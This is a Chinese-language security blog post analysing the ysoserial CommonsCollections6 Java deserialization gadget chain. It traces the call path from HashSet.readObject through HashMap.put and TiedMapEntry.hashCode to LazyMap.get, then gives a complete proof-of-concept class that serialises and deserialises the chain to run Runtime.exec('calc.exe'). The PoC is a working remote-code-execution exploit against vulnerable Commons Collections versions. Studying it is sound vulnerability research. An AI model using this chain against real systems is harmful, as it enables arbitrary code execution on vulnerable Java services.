ysoserial CommonsColletions6分析

admin 2021年7月22日14:34:33评论108 views字数 3045阅读10分9秒阅读模式
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法。

TiedMapEntry#hashCode

在CC5中,通过的是TiedMapEntry的toString调用到的LazyMap的get方法,而CC6则是通过TiedMapEntry的hashCode方法

ysoserial CommonsColletions6分析

此处hashCode会调用getValue方法,getValue就调用到了LazyMap的get方法

ysoserial CommonsColletions6分析

接下来我们要找的就是哪里调用了TiedMapEntry#hashCode

HashMap#put

HashMap每次进行put的时候,会计算 keyhash

ysoserial CommonsColletions6分析

进入到hash方法,看到调用了hashcode

ysoserial CommonsColletions6分析

hashSet#readObject

hashSet作为反序列化入口,在重写的readObject中调用了map.put

ysoserial CommonsColletions6分析

此处的map是在readObject中第299-301行进行的赋值

ysoserial CommonsColletions6分析

这个代码其实判断this是不是LinkedHashSet,不是的话就返回HashMap类型的对象

综合以上,map值为HashMap即可调用put

构造poc

前面的写法都一样,lazyMap传入了TiedMapEntry中

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]
{String.classClass[].class}, new Object[]{"getRuntime"null}),
            new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, new Object[]{nullnull}),
            new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
        TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");

通过hashSet.add把mapEntry加入进hashSet

HashSet hashSet = new HashSet(1);
hashSet.add(mapEntry);

到这里就已经构造完了,但是会发现poc在执行反序列化的时候无法弹出计算器,原因是在LazyMap的get方法中

ysoserial CommonsColletions6分析
image-20210710175425859

这句话的意思是判断有没有key,有key的话则不会执行if里面的方法。

查找key传入路径发现,这里的key是在TiedMapEntry#getValue中传入的

ysoserial CommonsColletions6分析

而这个key则是在构造方法中进行的赋值

ysoserial CommonsColletions6分析

也就是之前操作时候,传入的"xxx"

ysoserial CommonsColletions6分析

由于在hashSet.add的时候,会调用一遍TiedMapEntry#getValue把key传入了进去

所以我们只需要在add之后,把lazyMap里面的key给remove就可以了

ysoserial CommonsColletions6分析

整个POC就构造出来了

public class payload01 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]
{String.classClass[].class}, new Object[]{"getRuntime"null}),
            new InvokerTransformer("invoke"new Class[]{Object.classObject[].class}, new Object[]{nullnull}),
            new InvokerTransformer("exec"new Class[]{String.class}, new Object[]{"calc.exe"}),
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
        TiedMapEntry mapEntry = new TiedMapEntry(lazyMap, "xxx");

        HashSet hashSet = new HashSet(1);
        hashSet.add(mapEntry);

        lazyMap.remove("xxx");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.close();

//        System.out.println(barr);
//        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

和CC5一样,如果要在CommonsCollections4.0版本中使用的话,需要把poc中的lazymap传值方式改变下就行了!

ysoserial CommonsColletions6分析
image-20210710170229870

测试环境在JDK1.7和1.8,CommonsCollections3.1-3.21,4.0均测试成功


本文始发于微信公众号(安全羊):ysoserial CommonsColletions6分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月22日14:34:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ysoserial CommonsColletions6分析https://cn-sec.com/archives/432763.html

发表评论

匿名网友 填写信息